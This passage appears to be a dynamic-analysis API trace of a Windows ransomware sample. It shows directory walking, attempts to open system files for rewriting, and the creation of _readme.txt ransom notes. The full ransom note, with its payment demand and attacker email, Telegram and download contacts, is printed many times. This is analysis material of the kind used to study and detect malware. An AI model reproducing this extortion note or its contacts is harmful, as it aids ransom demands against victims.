ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.826] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.826] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0119.826] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.826] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.826] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.826] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.826] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.826] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.826] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.826] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.827] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.827] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.827] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.827] PathFindFileNameW (pszPath="") returned="" [0119.827] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.828] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.828] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.828] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.828] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.828] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0119.828] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.828] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.828] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.828] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.828] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.828] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0119.828] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.828] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.828] PathFindFileNameW (pszPath="") returned="" [0119.828] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.829] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.829] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.829] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.829] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0119.829] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0119.829] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.829] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.829] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.829] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.829] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0119.829] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.830] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.830] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.830] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.830] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0119.830] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.830] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.830] PathFindFileNameW (pszPath="") returned="" [0119.830] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.830] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.830] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.831] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.831] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0119.831] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0119.831] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.831] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.831] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.831] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.831] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0119.831] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.831] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.831] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.832] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.832] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0119.832] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.832] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.832] PathFindFileNameW (pszPath="") returned="" [0119.832] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.832] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.832] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.832] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.832] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0119.832] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0119.832] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.833] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you 